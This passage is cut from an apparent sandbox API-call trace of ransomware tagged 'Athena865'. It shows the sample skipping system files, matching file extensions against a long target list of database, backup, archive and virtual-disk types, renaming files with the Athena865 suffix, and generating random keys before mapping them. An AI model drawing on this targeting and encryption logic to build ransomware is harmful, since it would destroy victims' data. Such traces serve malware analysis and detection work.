returned 8 [0117.523] lstrcmpiW (lpString1="CORE.DLL", lpString2="sqlitedb") returned -1 [0117.523] lstrlenW (lpString="xml") returned 3 [0117.523] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0117.523] lstrlenW (lpString="$er") returned 3 [0117.523] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0117.523] lstrlenW (lpString="4dd") returned 3 [0117.523] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0117.523] lstrlenW (lpString="4dl") returned 3 [0117.523] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0117.523] lstrlenW (lpString="^^^") returned 3 [0117.523] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0117.523] lstrlenW (lpString="abs") returned 3 [0117.523] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0117.523] lstrlenW (lpString="abx") returned 3 [0117.523] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0117.523] lstrlenW (lpString="accdb") returned 5 [0117.523] lstrcmpiW (lpString1="E.DLL", lpString2="accdb") returned 1 [0117.523] lstrlenW (lpString="accdc") returned 5 [0117.523] lstrcmpiW (lpString1="E.DLL", lpString2="accdc") returned 1 [0117.523] lstrlenW (lpString="accde") returned 5 [0117.524] lstrcmpiW (lpString1="E.DLL", lpString2="accde") returned 1 [0117.524] lstrlenW (lpString="accdr") returned 5 [0117.524] lstrcmpiW (lpString1="E.DLL", lpString2="accdr") returned 1 [0117.524] lstrlenW (lpString="accdt") returned 5 [0117.524] lstrcmpiW (lpString1="E.DLL", lpString2="accdt") returned 1 [0117.524] lstrlenW (lpString="accdw") returned 5 [0117.524] lstrcmpiW (lpString1="E.DLL", lpString2="accdw") returned 1 [0117.524] lstrlenW (lpString="accft") returned 5 [0117.524] lstrcmpiW (lpString1="E.DLL", lpString2="accft") returned 1 [0117.524] lstrlenW (lpString="adb") returned 3 [0117.524] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0117.524] lstrlenW (lpString="adb") returned 3 [0117.524] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0117.524] lstrlenW (lpString="ade") returned 3 [0117.524] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0117.524] lstrlenW (lpString="adf") returned 3 [0117.524] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0117.524] lstrlenW (lpString="adn") returned 3 [0117.524] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0117.524] lstrlenW (lpString="adp") returned 3 [0117.524] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0117.524] lstrlenW (lpString="alf") returned 3 [0117.524] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0117.524] lstrlenW (lpString="ask") returned 3 [0117.524] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0117.524] lstrlenW (lpString="btr") returned 3 [0117.524] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0117.524] lstrlenW (lpString="cat") returned 3 [0117.524] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0117.524] lstrlenW (lpString="cdb") returned 3 [0117.525] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0117.525] lstrlenW (lpString="ckp") returned 3 [0117.525] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0117.525] lstrlenW (lpString="cma") returned 3 [0117.525] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0117.525] lstrlenW (lpString="cpd") returned 3 [0117.525] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0117.525] lstrlenW (lpString="dacpac") returned 6 [0117.525] lstrcmpiW (lpString1="RE.DLL", lpString2="dacpac") returned 1 [0117.525] lstrlenW (lpString="dad") returned 3 [0117.525] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0117.525] lstrlenW (lpString="dadiagrams") returned 10 [0117.525] lstrcmpiW (lpString1="B1CORE.DLL", lpString2="dadiagrams") returned -1 [0117.525] lstrlenW (lpString="daschema") returned 8 [0117.525] lstrcmpiW (lpString1="CORE.DLL", lpString2="daschema") returned -1 [0117.525] lstrlenW (lpString="db-journal") returned 10 [0117.525] lstrcmpiW (lpString1="B1CORE.DLL", lpString2="db-journal") returned -1 [0117.525] lstrlenW (lpString="db-shm") returned 6 [0117.525] lstrcmpiW (lpString1="RE.DLL", lpString2="db-shm") returned 1 [0117.525] lstrlenW (lpString="db-wal") returned 6 [0117.525] lstrcmpiW (lpString1="RE.DLL", lpString2="db-wal") returned 1 [0117.525] lstrlenW (lpString="dbc") returned 3 [0117.525] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0117.525] lstrlenW (lpString="dbs") returned 3 [0117.525] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0117.525] lstrlenW (lpString="dbt") returned 3 [0117.525] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0117.525] lstrlenW (lpString="dbv") returned 3 [0117.525] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0117.525] lstrlenW (lpString="dbx") returned 3 [0117.526] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0117.526] lstrlenW (lpString="dcb") returned 3 [0117.526] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0117.526] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0117.526] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL.Athena865") returned 78 [0117.526] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1core.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1core.dll.athena865"), dwFlags=0x1) returned 1 [0117.534] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1core.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0117.534] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=178576) returned 1 [0117.534] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0117.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0117.535] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54eb28 [0117.535] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ebb0) returned 1 [0117.535] CryptGenRandom (in: hProv=0x54ebb0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0117.535] CryptReleaseContext (hProv=0x54ebb0, dwFlags=0x0) returned 1 [0117.536] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2bc90, lpName=0x0) returned 0x154 [0117.537] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2bc90) returned 0x170000 [0117.559] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ebb0) returned 1 [0117.559] CryptGenRandom (in: hProv=0x54ebb0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0117.560] CryptReleaseContext (hProv=0x54ebb0, dwFlags=0x0) returned 1 [0117.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f78 [0117.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f78 | out: hHeap=0x4f0000) returned 1 [0117.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0117.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0117.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0117.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0117.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0117.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0117.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0117.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0117.560] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0117.562] CloseHandle (hObject=0x154) returned 1 [0117.562] CloseHandle (hObject=0x17c) returned 1 [0117.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0117.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54eb28 | out: hHeap=0x4f0000) returned 1 [0117.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0117.563] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38c6e400, ftCreationTime.dwHighDateTime=0x1ca6d6a, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38c6e400, ftLastWriteTime.dwHighDateTime=0x1ca6d6a, nFileSizeHigh=0x0, nFileSizeLow=0x40f70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSB1STAR.DLL", cAlternateFileName="")) returned 1 [0117.563] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.563] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.563] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2=".") returned 1 [0117.563] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2="..") returned 1 [0117.563] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2="windows") returned -1 [0117.563] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2="bootmgr") returned 1 [0117.563] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2="temp") returned -1 [0117.563] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2="pagefile.sys") returned -1 [0117.563] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2="boot") returned 1 [0117.563] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2="ids.txt") returned 1 [0117.563] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2="ntuser.dat") returned -1 [0117.563] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2="perflogs") returned -1 [0117.563] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2="MSBuild") returned -1 [0117.563] lstrlenW (lpString="MSB1STAR.DLL") returned 12 [0117.563] lstrcpyW (in: lpString1=0x241e8b8, lpString2="MSB1STAR.DLL" | out: lpString1="MSB1STAR.DLL") returned="MSB1STAR.DLL" [0117.564] lstrlenW (lpString="MSB1STAR.DLL") returned 12 [0117.564] lstrlenW (lpString="Athena865") returned 9 [0117.564] lstrcmpiW (lpString1="1STAR.DLL", lpString2="Athena865") returned -1 [0117.564] lstrlenW (lpString=".dll") returned 4 [0117.564] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2=".dll") returned 1 [0117.564] lstrlenW (lpString=".lnk") returned 4 [0117.564] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2=".lnk") returned 1 [0117.564] lstrlenW (lpString=".ini") returned 4 [0117.564] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2=".ini") returned 1 [0117.564] lstrlenW (lpString=".sys") returned 4 [0117.564] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2=".sys") returned 1 [0117.564] lstrlenW (lpString="MSB1STAR.DLL") returned 12 [0117.564] lstrlenW (lpString="bak") returned 3 [0117.564] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0117.564] lstrlenW (lpString="ba_") returned 3 [0117.564] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0117.564] lstrlenW (lpString="dbb") returned 3 [0117.564] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0117.564] lstrlenW (lpString="vmdk") returned 4 [0117.564] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0117.564] lstrlenW (lpString="rar") returned 3 [0117.564] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0117.564] lstrlenW (lpString="zip") returned 3 [0117.564] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0117.564] lstrlenW (lpString="tgz") returned 3 [0117.564] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0117.564] lstrlenW (lpString="vbox") returned 4 [0117.565] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0117.565] lstrlenW (lpString="vdi") returned 3 [0117.565] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0117.565] lstrlenW (lpString="vhd") returned 3 [0117.565] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0117.565] lstrlenW (lpString="vhdx") returned 4 [0117.565] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0117.565] lstrlenW (lpString="avhd") returned 4 [0117.565] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0117.565] lstrlenW (lpString="db") returned 2 [0117.565] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0117.565] lstrlenW (lpString="db2") returned 3 [0117.565] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0117.565] lstrlenW (lpString="db3") returned 3 [0117.565] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0117.565] lstrlenW (lpString="dbf") returned 3 [0117.565] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0117.565] lstrlenW (lpString="mdf") returned 3 [0117.565] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0117.565] lstrlenW (lpString="mdb") returned 3 [0117.565] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0117.565] lstrlenW (lpString="sql") returned 3 [0117.565] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0117.565] lstrlenW (lpString="sqlite") returned 6 [0117.565] lstrcmpiW (lpString1="AR.DLL", lpString2="sqlite") returned -1 [0117.565] lstrlenW (lpString="sqlite3") returned 7 [0117.565] lstrcmpiW (lpString1="TAR.DLL", lpString2="sqlite3") returned 1 [0117.565] lstrlenW (lpString="sqlitedb") returned 8 [0117.565] lstrcmpiW (lpString1="STAR.DLL", lpString2="sqlitedb") returned 1 [0117.566] lstrlenW (lpString="xml") returned 3 [0117.566] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0117.566] lstrlenW (lpString="$er") returned 3 [0117.566] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0117.566] lstrlenW (lpString="4dd") returned 3 [0117.566] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0117.566] lstrlenW (lpString="4dl") returned 3 [0117.566] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0117.566] lstrlenW (lpString="^^^") returned 3 [0117.566] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0117.566] lstrlenW (lpString="abs") returned 3 [0117.566] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0117.566] lstrlenW (lpString="abx") returned 3 [0117.566] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0117.566] lstrlenW (lpString="accdb") returned 5 [0117.566] lstrcmpiW (lpString1="R.DLL", lpString2="accdb") returned 1 [0117.566] lstrlenW (lpString="accdc") returned 5 [0117.566] lstrcmpiW (lpString1="R.DLL", lpString2="accdc") returned 1 [0117.566] lstrlenW (lpString="accde") returned 5 [0117.566] lstrcmpiW (lpString1="R.DLL", lpString2="accde") returned 1 [0117.566] lstrlenW (lpString="accdr") returned 5 [0117.566] lstrcmpiW (lpString1="R.DLL", lpString2="accdr") returned 1 [0117.566] lstrlenW (lpString="accdt") returned 5 [0117.566] lstrcmpiW (lpString1="R.DLL", lpString2="accdt") returned 1 [0117.566] lstrlenW (lpString="accdw") returned 5 [0117.566] lstrcmpiW (lpString1="R.DLL", lpString2="accdw") returned 1 [0117.566] lstrlenW (lpString="accft") returned 5 [0117.566] lstrcmpiW (lpString1="R.DLL", lpString2="accft") returned 1 [0117.566] lstrlenW (lpString="adb") returned 3 [0117.566] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0117.567] lstrlenW (lpString="adb") returned 3 [0117.567] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0117.567] lstrlenW (lpString="ade") returned 3 [0117.567] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0117.567] lstrlenW (lpString="adf") returned 3 [0117.567] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0117.567] lstrlenW (lpString="adn") returned 3 [0117.567] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0117.567] lstrlenW (lpString="adp") returned 3 [0117.567] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0117.567] lstrlenW (lpString="alf") returned 3 [0117.567] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0117.567] lstrlenW (lpString="ask") returned 3 [0117.567] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0117.567] lstrlenW (lpString="btr") returned 3 [0117.567] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0117.567] lstrlenW (lpString="cat") returned 3 [0117.567] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0117.567] lstrlenW (lpString="cdb") returned 3 [0117.567] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0117.567] lstrlenW (lpString="ckp") returned 3 [0117.567] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0117.567] lstrlenW (lpString="cma") returned 3 [0117.567] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0117.567] lstrlenW (lpString="cpd") returned 3 [0117.567] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0117.567] lstrlenW (lpString="dacpac") returned 6 [0117.567] lstrcmpiW (lpString1="AR.DLL", lpString2="dacpac") returned -1 [0117.567] lstrlenW (lpString="dad") returned 3 [0117.567] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0117.568] lstrlenW (lpString="dadiagrams") returned 10 [0117.568] lstrcmpiW (lpString1="B1STAR.DLL", lpString2="dadiagrams") returned -1 [0117.568] lstrlenW (lpString="daschema") returned 8 [0117.568] lstrcmpiW (lpString1="STAR.DLL", lpString2="daschema") returned 1 [0117.568] lstrlenW (lpString="db-journal") returned 10 [0117.568] lstrcmpiW (lpString1="B1STAR.DLL", lpString2="db-journal") returned -1 [0117.568] lstrlenW (lpString="db-shm") returned 6 [0117.568] lstrcmpiW (lpString1="AR.DLL", lpString2="db-shm") returned -1 [0117.568] lstrlenW (lpString="db-wal") returned 6 [0117.568] lstrcmpiW (lpString1="AR.DLL", lpString2="db-wal") returned -1 [0117.568] lstrlenW (lpString="dbc") returned 3 [0117.568] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0117.568] lstrlenW (lpString="dbs") returned 3 [0117.568] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0117.568] lstrlenW (lpString="dbt") returned 3 [0117.568] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0117.568] lstrlenW (lpString="dbv") returned 3 [0117.568] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0117.568] lstrlenW (lpString="dbx") returned 3 [0117.568] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0117.568] lstrlenW (lpString="dcb") returned 3 [0117.568] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0117.568] lstrlenW (lpString="dct") returned 3 [0117.568] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0117.568] lstrlenW (lpString="dcx") returned 3 [0117.568] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0117.568] lstrlenW (lpString="ddl") returned 3 [0117.568] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0117.568] lstrlenW (lpString="dlis") returned 4 [0117.568] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0117.569] lstrlenW (lpString="dp1") returned 3 [0117.569] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0117.569] lstrlenW (lpString="dqy") returned 3 [0117.569] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0117.569] lstrlenW (lpString="dsk") returned 3 [0117.569] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0117.569] lstrlenW (lpString="dsn") returned 3 [0117.569] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0117.569] lstrlenW (lpString="dtsx") returned 4 [0117.569] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0117.569] lstrlenW (lpString="dxl") returned 3 [0117.569] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0117.569] lstrlenW (lpString="eco") returned 3 [0117.569] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0117.569] lstrlenW (lpString="ecx") returned 3 [0117.569] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0117.569] lstrlenW (lpString="edb") returned 3 [0117.569] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0117.569] lstrlenW (lpString="epim") returned 4 [0117.569] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0117.569] lstrlenW (lpString="fcd") returned 3 [0117.569] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0117.569] lstrlenW (lpString="fdb") returned 3 [0117.569] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0117.569] lstrlenW (lpString="fic") returned 3 [0117.569] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0117.569] lstrlenW (lpString="flexolibrary") returned 12 [0117.569] lstrlenW (lpString="fm5") returned 3 [0117.570] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0117.570] lstrlenW (lpString="fmp") returned 3 [0117.570] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0117.570] lstrlenW (lpString="fmp12") returned 5 [0117.570] lstrcmpiW (lpString1="R.DLL", lpString2="fmp12") returned 1 [0117.570] lstrlenW (lpString="fmpsl") returned 5 [0117.570] lstrcmpiW (lpString1="R.DLL", lpString2="fmpsl") returned 1 [0117.570] lstrlenW (lpString="fol") returned 3 [0117.570] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0117.570] lstrlenW (lpString="fp3") returned 3 [0117.570] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0117.570] lstrlenW (lpString="fp4") returned 3 [0117.570] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0117.570] lstrlenW (lpString="fp5") returned 3 [0117.570] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0117.570] lstrlenW (lpString="fp7") returned 3 [0117.570] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0117.570] lstrlenW (lpString="fpt") returned 3 [0117.570] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0117.570] lstrlenW (lpString="frm") returned 3 [0117.570] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0117.570] lstrlenW (lpString="gdb") returned 3 [0117.570] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0117.570] lstrlenW (lpString="gdb") returned 3 [0117.570] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0117.570] lstrlenW (lpString="grdb") returned 4 [0117.570] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0117.570] lstrlenW (lpString="gwi") returned 3 [0117.571] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0117.571] lstrlenW (lpString="hdb") returned 3 [0117.571] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0117.571] lstrlenW (lpString="his") returned 3 [0117.571] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0117.571] lstrlenW (lpString="ib") returned 2 [0117.571] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0117.571] lstrlenW (lpString="idb") returned 3 [0117.571] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0117.571] lstrlenW (lpString="ihx") returned 3 [0117.571] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0117.571] lstrlenW (lpString="itdb") returned 4 [0117.571] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0117.571] lstrlenW (lpString="itw") returned 3 [0117.571] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0117.571] lstrlenW (lpString="jet") returned 3 [0117.571] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0117.571] lstrlenW (lpString="jtx") returned 3 [0117.571] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0117.571] lstrlenW (lpString="kdb") returned 3 [0117.571] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0117.571] lstrlenW (lpString="kexi") returned 4 [0117.571] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0117.571] lstrlenW (lpString="kexic") returned 5 [0117.571] lstrcmpiW (lpString1="R.DLL", lpString2="kexic") returned 1 [0117.571] lstrlenW (lpString="kexis") returned 5 [0117.571] lstrcmpiW (lpString1="R.DLL", lpString2="kexis") returned 1 [0117.571] lstrlenW (lpString="lgc") returned 3 [0117.571] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0117.571] lstrlenW (lpString="lwx") returned 3 [0117.572] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0117.572] lstrlenW (lpString="maf") returned 3 [0117.572] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0117.572] lstrlenW (lpString="maq") returned 3 [0117.572] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0117.572] lstrlenW (lpString="mar") returned 3 [0117.572] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0117.572] lstrlenW (lpString="marshal") returned 7 [0117.572] lstrcmpiW (lpString1="TAR.DLL", lpString2="marshal") returned 1 [0117.572] lstrlenW (lpString="mas") returned 3 [0117.572] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0117.572] lstrlenW (lpString="mav") returned 3 [0117.572] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0117.572] lstrlenW (lpString="maw") returned 3 [0117.572] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0117.572] lstrlenW (lpString="mdbhtml") returned 7 [0117.572] lstrcmpiW (lpString1="TAR.DLL", lpString2="mdbhtml") returned 1 [0117.572] lstrlenW (lpString="mdn") returned 3 [0117.572] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0117.572] lstrlenW (lpString="mdt") returned 3 [0117.572] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0117.572] lstrlenW (lpString="mfd") returned 3 [0117.572] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0117.572] lstrlenW (lpString="mpd") returned 3 [0117.572] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0117.572] lstrlenW (lpString="mrg") returned 3 [0117.572] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0117.572] lstrlenW (lpString="mud") returned 3 [0117.572] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0117.573] lstrlenW (lpString="mwb") returned 3 [0117.573] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0117.573] lstrlenW (lpString="myd") returned 3 [0117.573] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0117.573] lstrlenW (lpString="ndf") returned 3 [0117.573] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0117.573] lstrlenW (lpString="nnt") returned 3 [0117.573] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0117.573] lstrlenW (lpString="nrmlib") returned 6 [0117.573] lstrcmpiW (lpString1="AR.DLL", lpString2="nrmlib") returned -1 [0117.573] lstrlenW (lpString="ns2") returned 3 [0117.573] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0117.573] lstrlenW (lpString="ns3") returned 3 [0117.573] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0117.573] lstrlenW 